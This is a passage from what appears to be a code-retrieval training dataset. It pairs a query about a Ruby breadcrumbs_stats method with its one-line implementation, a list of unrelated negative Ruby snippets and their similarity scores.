'parent'\n print_line(indent_level, \"#{hierarchy.obj_name} ($evm.parent)\")\n when 'object'\n print_line(indent_level, \"#{hierarchy.obj_name} ($evm.object)\")\n else\n print_line(indent_level, \"#{hierarchy.obj_name}\")\n end\n indent_level += 1\n hierarchy.children.each do |child|\n print_automation_objects(indent_level, child)\n end\nend", "def parent\n page\n end", "def handle_explicit_navigation\n if SimpleNavigation.explicit_navigation_args\n level, navigation = parse_explicit_navigation_args\n self.adapter.controller.instance_variable_set(:\"@sn_current_navigation_#{level}\", navigation)\n end\n end" ]
[ "0.54851323", "0.5485088", "0.5485088", "0.5485088", "0.5485088", "0.53939956", "0.5301003", "0.5279507", "0.5265337", "0.52652407", "0.5195883", "0.5168399", "0.51625544", "0.5157405", "0.51552415", "0.51255256", "0.51174754", "0.5091025", "0.5046912", "0.5040417", "0.5037351", "0.5022983", "0.5003691", "0.4985823", "0.49756694", "0.4967248", "0.4963242", "0.4962472", "0.49425268", "0.49309647", "0.49229115", "0.49186203", "0.49068248", "0.48889613", "0.48819315", "0.48817107", "0.48782265", "0.48725504", "0.48701054", "0.48566818", "0.48566818", "0.48566818", "0.48566818", "0.48566818", "0.48566818", "0.48566818", "0.48566818", "0.48540333", "0.48530728", "0.48525125", "0.48520592", "0.48520592", "0.48501745", "0.48488718", "0.4844693", "0.48409328", "0.48383102", "0.48331356", "0.48322946", "0.48189455", "0.48113573", "0.4802767", "0.4801126", "0.47842726", "0.47803426", "0.4771271", "0.4765718", "0.47549933", "0.47536838", "0.47517872", "0.47504795", "0.4737384", "0.47257325", "0.47227967", "0.47216916", "0.47163278", "0.47157195", "0.4707205", "0.47068834", "0.47068834", "0.47068834", "0.47068834", "0.47068834", "0.47068834", "0.4706561", "0.4703682", "0.4702861", "0.4701488", "0.46968642", "0.46913606", "0.46836534", "0.46810773", "0.46746573", "0.46741298", "0.4670937", "0.46697715", "0.46675998", "0.46639568", "0.46617588", "0.46596757", "0.4657115" ]
0.0
-1
Override this method to populate a set of ataglance numerical stats that will appear alongside the breadcrumbs. This method should returrn an array of arrays. The values of each inner array should be 1. the number to display, 2. a description of what the number represents, in singular, and 3. optionally, the plural form of 2.
def breadcrumbs_stats() [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def data\n final = [[\"25%\", 0], [\"50%\", 0], [\"75%\", 0], [\"100%\", 0]]\n self.usages.each do |usage|\n if usage.percent > 75 && usage.percent <= 100\n final[0][1] += 1\n final[1][1] += 1\n final[2][1] += 1\n final[3][1] += 1\n elsif usage.percent > 50 && usage.percent <= 75\n final[0][1] += 1\n final[1][1] += 1\n final[2][1] += 1\n elsif usage.percent > 25 && usage.percent <= 50\n final[0][1] += 1\n final[1][1] += 1\n elsif usage.percent > 0 && usage.percent <= 25\n final[0][1] += 1\n end\n end\n return final\n end", "def add_statistics stats_arr\n stats_arr.each do |stats|\n add_statistic stats\n end\n return\n end", "def stats\n groups = ::Twigg::Pivotal::Status.status\n\n groups.each do |current_state, stories|\n header = pluralize stories.size,\n \"#{current_state} story\",\n \"#{current_state} stories\"\n puts header\n\n stories.each do |story|\n print \"[#{story.story_type}] #{story.name}\"\n if story.owned_by\n puts \" [#{story.owned_by['initials']}]\"\n else\n puts\n end\n end\n\n puts\n end\n\n puts '', 'Totals'\n groups.each do |current_state, stories|\n puts number_with_delimiter(stories.size) + \" #{current_state}\"\n end\n puts\n end", "def stats_summary\n html = \"\"\n %w(inhale exhale cycle).each do |phase|\n %w(min max avg).each do |stat|\n time = format_time(self.meditations.map {|med| med.send(phase + \"_\" + stat)}.max)\n html += \"record #{phase} #{stat}: #{time}<br>\"\n end\n end\n html\n end", "def displayResults(numArray, total, avg, standardDev)\n\n\t# Header Row\n\tputs();\n\tputs(\"Line #\\tValue\");\n\tputs(\"------\\t-----\");\n\t\n\t# Data Row\n\tsum = 0;\n\tline = 0;\n\tnumArray.each do |x|\n\t\tsum = sum + x;\n\t\tline = line + 1;\n\t\tputs(\"#{line}\\t#{x}\");\n\tend;\n\t\n\t# Grand Total\n\tputs();\n\tputs(\"Total Number of Items: #{numArray.length()}\");\n\tputs(\"Grand Total: #{total}\");\n\n\t# Average\n\tputs();\n\tputs(\"Average: \" + format(\"%0.2f\" % [avg]));\n\t\n\t# Standard Deviation\n\tputs();\n\tputs(\"Standard Deviation: \" + format(\"%0.4f\" % [standardDev]));\n\t\nend", "def my_cults_slogans\n self.cults.map do |cult|\n cult.slogan\n end\n end", "def predict_format_converter usages\r\n @date = []\r\n @total = []\r\n @lines = []\r\n @labels = []\r\n @table_array = []\r\n usages[:daily_usage].each do |usage|\r\n @date.append(usage[:date].to_s)\r\n\r\n @total.append(usage[:usage])\r\n end\r\n @table_array.append(\"date[i]\")\r\n @table_array.append(\"total[i]\")\r\n usages[:daily_time_periods].each_with_index do |period, index|\r\n @name =\"lines[#{index.to_s}][i]\"\r\n @table_array.append(@name)\r\n @lines.append([])\r\n @labels.append(period[:label])\r\n period[:daily_usage].each do |usage|\r\n @lines[index].append(usage[:usage])\r\n\r\n end\r\n end\r\n end", "def build_result standard_deviation,bonus\n result = []\n #build a result with values multiplied by standard_deviation and assign a percentage\n bonus.each_with_index do |value,i|\n result[i] = {lower_limit: (value.std * standard_deviation).round(2),bonus:value.percent}\n end\n #A second loop to assign an upper_limit with a lower_limit of - 0.01\n (1..(result.length - 1)).each do |i|\n result[i - 1][:upper_limit] = result[i][:lower_limit] - 0.01\n end\n result\n end", "def my_cults_slogans\n self.bloodoaths.map do |blood|\n blood.cult.slogan\n end\n end", "def get_stats \n #health\n parts_health = self.parts.map{|part| part.health}\n health_total = get_total(parts_health)\n\n #speed\n parts_speed = self.parts.map{|part| part.speed}\n speed_total = get_total(parts_speed)\n\n #attack\n parts_attack = self.parts.map{|part| part.attack}\n attack_total = get_total(parts_attack)\n\n #defense\n parts_defense = self.parts.map{|part| part.defense}\n defense_total = get_total(parts_defense)\n\n #battery_life\n parts_battery_life = self.parts.map{|part| part.battery_life}\n battery_life_total = get_total(parts_battery_life)\n\n grand_total = health_total + speed_total + attack_total + defense_total + battery_life_total\n\n #Normalizing stats\n self.health = health_total / grand_total * 100\n self.speed = speed_total / grand_total * 100\n self.attack = attack_total / grand_total * 100\n self.defense = defense_total / grand_total * 100\n self.battery_life = battery_life_total / grand_total * 100\n self.save\n end", "def stats\n puts 'You have ' + self.health.to_s + ' health remaining and have ' + self.denarii.to_s + ' denarii to your name.'\n end", "def stats\n end", "def stats\n end", "def measure_format\n i = 1\n arr = []\n measure = []\n self.chords.each do |chord|\n measure << chord.value\n if measure.count == self.beats_per_measure.to_i\n arr << \" #{i}. / #{measure.join(\" , \")} /\"\n measure = []\n i +=1\n end\n if chord == self.chords.last && measure.count != 0\n until measure.count == self.beats_per_measure.to_i\n measure << \" \"\n end\n arr << \" #{i}. / #{measure.join(\" , \")} /\"\n end\n end\n arr\n end", "def summary_array\n row = []\n column = [DueText.minutes, till_or_since, calc_mins_till.round(2), DueText.minutes_suffix]\n row << column\n column = [DueText.hours, till_or_since, calc_hours_till.round(2), DueText.hours_suffix]\n row << column\n column = [DueText.days, till_or_since, calc_days_till.round(2), DueText.days_suffix]\n row << column\n column = [DueText.weeks, till_or_since, calc_weeks_till.round(2), DueText.weeks_suffix]\n row << column\n column = [DueText.months, till_or_since, calc_months_till.round(2), DueText.months_suffix]\n row << column\n column = [DueText.years, till_or_since, calc_years_till.round(2), DueText.years_suffix]\n row << column\n end", "def format_trending\n @formatted_arr = []\n @data.each do |data| \n hash = {}\n # Check for edge case of trending developers without a repository\n if data.include? 'repo'\n hash = { \n name: data['name'], \n username: data['username'], \n avatar: data['avatar'],\n repo: { name: data['repo']['name'] }, \n description: data['repo']['description'],\n url: data['repo']['url']\n }\n else \n hash = { \n name: data['name'],\n username: data['username'],\n avatar: data['avatar'],\n }\n end\n @formatted_arr << hash\n end\n @formatted_arr\n end", "def my_cults_slogans\n self.cults.each do |cult|\n puts cult.slogans\n end\n end", "def display_stats(stats)\n\t\t# Put the stats info into an array to sort\n\t\t@stats_arr = stats\n\t\t# Sort the array first by the amount of color used descending (first index) and then by the color name ascending (zeroth index)\n\t\t@stats_arr = @stats_arr.sort { |x, y| [y[1], x[0]] <=> [x[1], y[0]] }\n\t\tputs\n\t\t@stats_arr.each do |row|\n\t\t\tputs \"Color #{row[0]}: #{row[1]}\"\n\t\tend\n\tend", "def initialize\n @stats = Array.new(3)\n @races = Array.new(3)\n @classes = Array.new(3)\n @misc = roll_misc\n 3.times do |i|\n @stats[i] = roll_stats\n @races[i] = race_choices(@stats[i])\n @classes[i] = class_choices(@stats[i])\n end\n end", "def print_array\r\n\t\t\t[@num_files, @total, @blank_lines, @lines]\r\n\t\tend", "def auctionStats\n if @punters.empty? then return \"Aution has not started yet.\" end\n hist = @auction_item.histogram\n return [@auction_item.mean, @auction_item.stddev, hist]\n end", "def range_summary(array)\r\n\r\nend", "def stats\n\t\t@counts\n\tend", "def title \n t = ['Natures']\n t += @period.list_months.to_abbr_with_year \n t << 'Total' \n end", "def show\n @taxi = Taxi.find(params[:id])\n @answers = Answer.where(taxi_id: @taxi.id).order('created_at DESC')\n @final_load = []\n one_to_5_questions = Question.numerical_ids(current_user)\n one_to_5_questions.each_with_index do |question, n|\n series_data = Answer.numerical_histogram(@taxi.id,question)\n title = Question.find_by(id: question).content\n categories = ['1 Rating','2 Rating','3 Rating','4 Rating','5 Rating']\n @final_load << [series_data, title, categories]\n end\n yes_no_questions = Question.yes_no_ids(current_user)\n yes_no_questions.each_with_index do |question, n|\n series_data = Answer.yes_no_histogram(@taxi.id,question)\n title = Question.find_by(id: question).content\n categories = ['Yes','No']\n @final_load << [series_data, title, categories]\n end\n @final_load\n end", "def stats\n\t\[email protected]([[@hero.name], [\"HP\", \"MP\"], [@hero.current_hp.to_s, @hero.current_mp.to_s]])\n\t\[email protected]\n\tend", "def stats\n @animes = Anime.all\n end", "def list_stats\r\n puts \"#{@name} Stats:\"\r\n puts \"Total HP: #{@hp}\"\r\n puts \"Class: #{@job}\"\r\n puts \"Total Strength: #{@strength}\"\r\n puts \"Total Speed: #{@speed}\"\r\n end", "def range_summary(array)\n\nend", "def show_all_values my_array\n puts \"\\nAll Values: \"\n puts \"-----------\"\n my_array.each do |value| \n puts \"Name: \" + value.get_name.to_s\n puts \" Area: \" + value.get_area.to_s\n puts \" Temperature: \" + value.get_temperature.to_s\n puts \"Radiator: \" + value.get_num_radiator.to_s\n puts \" Ground: \" + value.get_num_ground.to_s\n puts \" Num: \" + value.get_num.to_s + \"\\n\\n\"\n end \n end", "def output\n printable_display combined_array(numbers_array)\n end", "def stats\n \n end", "def stats; end", "def stats; end", "def stats_data\n data = super || default_data\n # Generate percentile data\n if global_stat\n data['percentiles'] = %w[media units time].each_with_object({}) do |key, out|\n # Find the first percentile with a value above our own\n percentiles = global_stat.stats_data.dig('percentiles', key)\n next unless percentiles && data[key]\n\n out[key] = percentiles.find_index { |val| val > data[key] }.to_f / 100\n end\n\n data['averageDiffs'] = %w[media units time].each_with_object({}) do |key, out|\n # Find the difference from average\n average = global_stat.stats_data.dig('average', key)\n next unless average && data[key] && average.positive? && data[key].positive?\n\n out[key] = (data[key] - average) / average\n end\n end\n data\n end", "def stats\n get_charts\n end", "def print_stats\n\t\t\tputs \"Min: #{min}\"\n\t\t\tputs \"Max: #{max}\"\n\t\t\tputs \"Expected: #{expected}\"\n\t\t\tputs \"Std Dev: #{standard_deviation}\"\n\t\t\tputs \"Variance: #{variance}\"\n\n\t\t\t@probability_distribution.each { |k,v| \n\t\t\t\tputs \"P(#{k}) => #{v}\"\n\t\t\t}\n\t\tend", "def data_symbol_array\n [:name, :level, :objectives, :prime_objectives, :custom_categories, \n :icon_index, :description, :banner, :banner_hue, :common_event_id, \n :layout, :rewards] + QuestData::BASIC_DATA_TYPES\n end", "def idols_data\n\n\t\t[[ \"Last name\", \"First name\", \"Description\" ]] + [[ @view_context.number_to_currency(1), 2, 3] ] +\n\t\[email protected] { |idol| [idol.last_name, idol.first_name, idol.talents.first.description] }\n\n\tend", "def print_brands_report(sub_array)\n $report_file.puts sub_array[0]\n $report_file.puts \"*********************************\"\n $report_file.puts \"Toys in Stock: #{sub_array[1]}\"\n $report_file.puts \"Average price: #{sub_array[2].round(2)}\"\n $report_file.puts \"Total Revenue: #{sub_array[3].round(2)} \\n\\n\"\nend", "def statistics\n @statistics ||= []\n end", "def stats\n ## TODO:\n end", "def get_fibra\n @_100=((@fibra*100)/@peso)\n #@ir_100=(@_100/90)*100\n @porcion=((@fibra*@gramos_porciones)/@peso)\n #@ir_porcion=(@porcion/90)*100\n [ @fibra , @_100 , 0 , @porcion , 0 ]\n end", "def info\n infoarray = [\"Year: #{@year}\", \"Make: #{@make}\", \"Model: #{@model}\", \"Lights: #{@lightstatus}\", \"Singals: #{@signalstatus}\", \"Speed: #{@speed}\"]\n p infoarray\n end", "def lifts_array\n array2 = []\n self.lifts.each do |lift|\n array2 << lift.chart_info_for_lift\n end\n array2\n end", "def results\n# not_observed, no_relation, shows_progress, meets_standard, exceeds_standard\n# For Plan, Presentation, Activity, Assessment, Climate\n results = [[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0]]\n \n # If application Complete (no section is nil)\n if (completed)\n (0..4).each do |i|\n results[0][i] += plan.planResults[i] \n results[1][i] += presentation.presentationResults[i] \n results[2][i] += activity.activityResults[i] \n results[3][i] += assessment.assessmentResults[i] \n results[4][i] += climate.climateResults[i]\n end\n end\n \n return results\n end", "def statistics; end", "def all\n if @total > 0\n result = if @count_per_type.empty?\n {\"total\" => @total}\n else\n percentage\n end\n result.merge!(\"last\" => last)\n result.merge!(\"rate\" => avg_rate) if @measure_rate\n result\n end\n end", "def totals_table\n strings = []\n strings << \"#{@labels[:subtotal]}:\"\n strings << @document.subtotal\n strings << \"#{@labels[:tax]}:\"\n strings << @document.tax\n strings << \"#{@labels[:tax2]}:\"\n strings << @document.tax2\n strings << \"#{@labels[:tax3]}:\"\n strings << @document.tax3\n strings << \"#{@labels[:total]}:\"\n strings << @document.total\n strings\n end", "def stats_for_grader(submissions)\n result = []\n problem_id_to_name = @assessment.problem_id_to_name\n stats = Statistics.new\n\n grader_scores = {}\n submissions.each do |submission|\n next unless submission.special_type == Submission::NORMAL\n\n submission.scores.each do |score|\n next if score.grader_id.nil?\n if grader_scores.has_key? score.grader_id\n grader_scores[score.grader_id] << score\n else\n grader_scores[score.grader_id] = [score]\n end\n end\n end\n\n grader_ids = grader_scores.keys\n print grader_scores\n def find_user(i)\n print \"\\n FIND USER I \\n\"\n print i\n if 0 == i\n return Hash[\"full_name\", \"Autograder\", \n \"id\", 0,\n \"full_name_with_email\", \"Autograder\"]\n else\n return User.find(i)\n end\n end\n graders = grader_ids.map(&method(:find_user))\n graders = graders.compact\n graders.sort! { |g1, g2| g1.full_name <=> g2.full_name }\n\n\n graders.each do |grader|\n scores = grader_scores[grader[\"id\"]]\n print \"\\n SCORES \\n\"\n print grader[:id]\n print \"\\n\"\n print scores\n\n problem_scores = {}\n @assessment.problems.each do |problem|\n problem_scores[problem.id] = []\n end\n\n scores.each do |score|\n problem_scores[score.problem_id] << score.score\n end\n\n problem_stats = []\n @assessment.problems.each do |problem|\n problem_stats << [problem.name, stats.stats(problem_scores[problem.id])]\n end\n\n result << [grader[\"full_name_with_email\"], problem_stats]\n end\n return result\n end", "def format_likelihoods(arr)\n pretty = arr.map do |question, likelihood|\n [question.sub(\"Who would \", \"\").sub(\"?\",\"\").humanize, likelihood]\n end\n \n pretty\n end", "def get_azucares\n @_100=((@azucares*100)/@peso)\n @ir_100=(@_100/90)*100\n @porcion=((@azucares*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/90)*100\n [ @azucares , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end", "def display_scores\n score_frames, total_values = {}, []\n total_score = total_frames_score.last\n total_frames_score.pop\n total_frames_score.each_with_index do |value, index|\n score_frames[\"frame#{index+1}\"] = value\n end\n score_frames[\"total_score\"] = total_score\n score_frames[\"created_at\"] = Time.now.strftime(\"%d-%m-%Y %I:%M%p\")\n total_values << score_frames if score_frames.present?\n end", "def get_hidratos\n @_100=((@hidratos*100)/@peso)\n @ir_100=(@_100/260)*100\n @porcion=((@hidratos*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/260)*100\n [ @hidratos , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end", "def get_stats()\n val = [@dex, @str, @int, @lck]\n end", "def get_grasas\n @_100=((@grasas*100)/@peso)\n @ir_100=(@_100/70)*100\n @porcion=((@grasas*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/70)*100\n [ @grasas , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end", "def something\n max = self.max_size\n arrays = self.lifts_array\n arrays.each do |array|\n if array.size < max \n difference1 = max - array.size\n difference = difference1 / 2\n difference.times do \n array << 0\n array << \"0\"\n end\n else\n end\n end\n arrays\n end", "def addNumberStatsForSingleSettingOfVarianceVariable run_object , values\r\n statsGuy = run_object\r\n # note non use of index to lookup value...\r\n ppAndFile \"-----------\", \"Doing stats on runs runs just numbers #{values.inspect}\"\r\n ppAndFile \"download times %'iles'\", VaryParameter.getDuplesFromClientsAndPercentile(\"createClientDownloadTimes\", statsGuy).join(\" \")\r\n ppAndFile \"download total times %'iles'\", VaryParameter.getDuplesFromClientsAndPercentile(\"createClientTotalDownloadTimes\", statsGuy).join(\" \")\r\n ppAndFile \"death methods\", statsGuy.getDeathMethodsAveraged.sort.join(\" \")\r\n\r\n ppAndFile \"server upload [received] distinct seconds [instantaneous server upload per second] %'iles'\",\r\n VaryParameter.getDuplesFromClientsAndPercentile(\"allServerServedPointsPartial\", statsGuy).join(\" \")\r\n\r\n ppAndFile \" instantaneous tenth of second throughput %'iles'\",\r\n VaryParameter.getDuplesFromClientsAndPercentile(\"totalThroughPutPointsPartial\", statsGuy).join(\" \")\r\n\r\n ppAndFile \"upload bytes %'iles'\", VaryParameter.getDuplesFromClientsAndPercentile(\"createClientTotalUpload\", statsGuy).join(\" \")\r\n ppAndFile \"dht gets\", VaryParameter.getDuplesFromClientsAndPercentile(\"multipleDHTGets\", statsGuy).join(\" \")\r\n ppAndFile \"dht puts\", VaryParameter.getDuplesFromClientsAndPercentile(\"multipleDHTPuts\", statsGuy).join(\" \")\r\n ppAndFile \"dht removes\", VaryParameter.getDuplesFromClientsAndPercentile(\"multipleDHTRemoves\", statsGuy).join(\" \")\r\n ppAndFile \"percentiles of percent received from just peers (not origin)\", VaryParameter.getDuplesFromClientsAndPercentile(\r\n \"createPercentFromClients\", statsGuy).join(\" \") # ltodo graphs for percent dT\r\n\r\n ppAndFile \"client upload sum percentiles:\", VaryParameter.getDuplesFromClientsAndPercentile(\"createClientTotalUpload\", statsGuy).join(\" \")\r\n ppAndFile \" :totalBytesReceivedFromPeersAcrossAllRuns #{statsGuy.totalBytesReceivedFromPeersAcrossAllRuns}, :totalBytesUploadedByServerAcrossAllRuns #{statsGuy.totalBytesUploadedByServerAcrossAllRuns} :totalBytesServedFromPeersAcrossAllRuns #{statsGuy.totalBytesServedFromPeersAcrossAllRuns}\"\r\n @totalBytesReceivedFromPeersAcrossAllRuns.plus_equals(statsGuy.totalBytesReceivedFromPeersAcrossAllRuns)\r\n @totalBytesUploadedByServerAcrossAllRuns.plus_equals(statsGuy.totalBytesUploadedByServerAcrossAllRuns)\r\n @totalBytesServedFromPeersAcrossAllRuns.plus_equals(statsGuy.totalBytesServedFromPeersAcrossAllRuns)\r\n #ltodo note how many opendht's never came back\r\n #ltodo say how many did not make it, too...\r\n print \"wrote stats to #{@outputFile.path}\\n\"\r\n end", "def goaltending_stats(stats)\n\nend", "def get_proteinas\n @_100=((@proteinas*100)/@peso)\n @ir_100=(@_100/50)*100\n @porcion=((@proteinas*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/50)*100\n\t\t#p\"| #{@proteinas} | #{@_100} | #{@ir_100.round(1)}% | #{@porcion} | #{@ir_porcion.round(1)}% |\"\n [ @proteinas , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end", "def period_summary\n [\n ['Days of distribution', distribution_collection.days_of_distribution],\n ['Unique households', household_collection.length],\n ['Unique residents', client_collection.length],\n ['Distributions', distribution_collection.length],\n ['New households', household_collection.new(for_date).length],\n ['New residents', household_collection.new_clients(for_date)],\n ['Lbs. of food distributed', distribution_collection.lbs_of_food_distributed]\n ]\n end", "def printscore\n puts \"綠譜平均:#{ @bas_total * 1.0 / @bas_num }\".colorize(:light_green)\n puts \"黃譜平均:#{ @adv_total * 1.0 / @adv_num }\".colorize(:light_yellow)\n puts \"紅譜平均:#{ @ext_total * 1.0 / @ext_num }\".colorize(:light_red)\n puts \"全譜面平均:#{ (@bas_total + @adv_total + @ext_total) * 1.0 / (@bas_num + @adv_num + @ext_num) }\".colorize(:light_white)\n end", "def stats\n @additions ||= 0\n @deletions ||= 0\n @stats_row_one = {\n active_user_count: @active_user_count,\n pull_count: @pull_count,\n comment_count: @comment_count,\n qa_signoff_count: @qa_signoff_count\n }\n @stats_row_two = {\n avg_additions: @additions.round.to_i,\n avg_deletions: @deletions.round.to_i,\n net_additions: @net_additions\n }\n end", "def print_summary\n puts \"\\n\\nScore : # Instances\\n\" << (\"=\" * 19)\n @summary_totals.each_with_index { |value, index| puts \" %5d:%8d\\n\" % [index, value] unless value.nil? }\n puts \"\\n** End of Report\"\n end", "def chart_data(codes, hospitals, num_cases)\n data = []\n identifiers = [I18n.t('hospitals')] + codes.map{|code| code.code_display_long }\n hospitals.each do |h|\n ncs = num_cases[h.hospital_id]\n a = [h.name]\n codes.each {|code| a << numcase_number(ncs[code.code]); a << numcase_display(ncs[code.code]) }\n data << a\n end\n [identifiers, data]\n end", "def stat\n x.each_with_index.map do |_x_val, idx|\n stat_i(idx)\n end\n end", "def exams_statistics\n end", "def my_cults_slogans\n self.cults.each do |cult|\n puts cult.slogan\n end\n end", "def print_info_array(super_array)\n super_array.each do |sub_array|\n sub_array.each {|item| puts item}\n puts\n end\n end", "def scrape_misc\n doc.at_css('.stats-container')\n .children\n .map(&:text)\n .flat_map { |x| x.gsub(nbsp, ' ').strip.split(':') }\n .map(&:strip)\n .reject(&:empty?)\n .each_slice(2)\n .map { |(k, v)| [symbolize_text(k), v.to_f.zero? ? v : v.to_f] }\n .to_h\n end", "def get_hidratos\n \"#{@hidratos}%\" \n end", "def wrestler_output\n\n\t\tputs \"Name: #{self.values[:name]}\"\n\t\tputs \"Set: #{self.values[:set]}\"\n\t\tputs \"Singles Priority: #{self.values[:prioritys]}\"\n\t\tputs \"Tag Team Priority: #{self.values[:priorityt]}\"\n\t\tputs \"TT Probability: #{self.statistics[:tt_probability]}\"\n\t\tputs \"Card Rating: #{self.statistics[:total_card_rating]}\"\n\t\tputs \"OC Probability: #{self.statistics[:oc_probability]}\"\n\t\tputs \"Total Points-Per-Round: #{self.statistics[:total_card_points_per_round]}\"\n\t\tputs \"DQ Probability-Per-Round: #{self.statistics[:dq_probability_per_round]}\"\n\t\tputs \"P/A Probability-Per-Round: #{self.statistics[:pa_probability_per_round]}\"\n\t\tputs \"Submission Roll Probability-Per-Round: #{self.statistics[:sub_probability_per_round]}\"\n\t\tputs \"XX Roll Probability-Per-Round: #{self.statistics[:xx_probability_per_round]}\"\n\t\tputs \"Submission Loss Probability: #{self.points[:sub_prob]}\"\n\t\tputs \"Tag Team Save Probability: #{self.points[:tag_prob]}\"\n\t\tputs \"\\n\"\n\n\t\ttt_probability = \"%.1f\" % (self.statistics[:tt_probability] * 100) + \"%\"\n\t\tcard_rating = \"%.1f\" % self.statistics[:total_card_rating]\n\t\toc_probability = \"%.1f\" % (self.statistics[:oc_probability] * 100) + \"%\"\n\t\ttotal_card_points_per_round = \"%.3f\" % self.statistics[:total_card_points_per_round]\n\t\tdq_probability_per_round = \"%.1f\" % (self.statistics[:dq_probability_per_round] * 100) + \"%\"\n\t\tpa_probability_per_round = \"%.1f\" % (self.statistics[:pa_probability_per_round] * 100) + \"%\"\n\t\tsub_probability_per_round = \"%.1f\" % (self.statistics[:sub_probability_per_round] * 100) + \"%\"\n\t\txx_probability_per_round = \"%.1f\" % (self.statistics[:xx_probability_per_round] * 100) + \"%\"\n\t\t\n\t\tsub_prob = \"%.1f\" % (self.points[:sub_prob] * 100) + \"%\"\n\t\ttag_prob = \"%.1f\" % (self.points[:tag_prob] * 100) + \"%\"\n\n\t\tf = File.new('files/results.csv', 'a')\n\t\tf.write(\"#{self.values[:name]},#{self.values[:set]}, #{self.values[:prioritys]}, #{self.values[:priorityt]}, #{tt_probability}, #{card_rating}, #{oc_probability}, #{total_card_points_per_round}, #{dq_probability_per_round}, #{pa_probability_per_round}, #{sub_probability_per_round}, #{xx_probability_per_round}, #{sub_prob}, #{tag_prob}, \\n\")\n\t\tf.close\n\tend", "def get_stats(tagging)\n hash = {}\n tagging.first.tags.each do |tag|\n hash = fill_hash_with_tag(hash,tag)\n end\n @array = []\n @array = fill_array_with_hash(hash)\n end", "def numbers_with_popularity\n return @numbers_with_popularity if @numbers_with_popularity\n\n progressbar = ProgressBar.create(total: numbers.size, title: ' Fetching numbers data')\n fetch(numbers.map(&:path)).each_with_index do |page, i|\n number = numbers.detect { |n| n.path == page.path }\n next (puts \"===> Page for path #{path} not found\") unless number\n\n number.received = page.\n html.\n search('div.row').\n map(&:content).\n map {|s| s.match(/Received (\\d+) text messages\\z/)&.captures&.first }.\n compact.\n first.\n to_i\n number.last_activity = page.\n html.\n search('div.row.border-bottom.border-temps.table-hover').\n first(3).\n map{ |d| d.children[3].content }.\n uniq.\n map{ |s| s.sub(' ago', '') }.\n join(', ').\n concat(' ago')\n progressbar.increment\n rescue\n puts \"===> Something went wrong with number #{number.number}. Skipping\"\n next\n end\n @numbers_with_popularity = numbers\n end", "def my_cults_slogans\n cults.each {|cult| puts cult.slogan }\n end", "def population\n\tresponse = @parsed_response['data'][0][1].to_i\n\tcomma_numbers(response)\nend", "def title\n t = ['Natures']\n t += dests.collect(&:name)\n t << 'Total'\n end", "def pluralized_stats(count, thing)\n new_count, new_thing = pluralize(count, thing).split(' ')\n raw \"#{new_count} #{content_tag(:span, new_thing)}\"\n end", "def assessments_levels_data\n return [] unless company_mq_assessments.any?\n\n # we are adding first and last point with nil value to have those ticks on the chart\n # to fool Highcharts\n first_point = [company_mq_assessments.first.assessment_date.beginning_of_year.to_s, nil]\n last_point = [Time.now.to_date.to_s, nil]\n\n results = [first_point]\n company_mq_assessments.each do |a|\n results << [a.assessment_date.to_s, a.level]\n end\n results << last_point\n\n [\n {\n name: 'Level',\n data: results\n },\n {\n name: 'Current Level',\n data: [[assessment.assessment_date.to_s, assessment.level]],\n color: 'red'\n }\n ]\n end", "def show\n @indicators = @indicate_taxonomy.get_indicators\n @years = @indicators.keys.sort!.reverse!\n end", "def get_titles()\n puts @arr_of_titles\n end", "def setup_gauges\n @gauges_setup = true\n add_type = [0, 1]\n add_type += [2] if ($game_system.cust_battle == \"ATB\")\n add_type += [3] if ($data_system.opt_display_tp)\n y_spacing = (add_type.size > 3 ? 18 : 24)\n ind = 0\n y_min = 24\n for type in add_type\n y = (y_spacing * ind) + y_min\n case type\n when 0#hp\n @hp_bar = Progress_Bar.new(self, 0, y, type)\n @hp_bar.set_symbol(Vocab.hp)\n when 1#mp\n @mp_bar = Progress_Bar.new(self, 0, y, type)\n @mp_bar.set_symbol(Vocab.mp)\n when 2#at\n @at_bar = Progress_Bar.new(self, 0, y, type)\n @at_bar.set_symbol(Vocab.at) if GTBS::Show_Action_Time_value\n when 3#tp\n @tp_bar = Progress_Bar.new(self, 0, y, type)\n @tp_bar.set_symbol(Vocab.tp)\n end\n ind += 1\n end\n end", "def print_stats(title_array)\n # some iteration magic and puts out the movies in a nice list\n title_array.each do |title|\n puts \"#{title}\\n\"\n puts\"*****************\\n\"\n end\nend", "def titles_display\n\t\t\t@data[\"titles\"][\"display\"]\n\t\tend", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def englishNumber remaining_number\n if remaining_number == 0\n return 'zero'\n end\n number_string = remaining_number < 0 ? \"negative \" : \"\"\n remaining_number = remaining_number.abs\n\n #build arrays\n onesPlace = ['one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine']\n tensPlace = ['ten', 'twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety']\n teenagers = ['eleven','twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen']\n million_billion = [[100,\"hundred\"]]\n big_array = 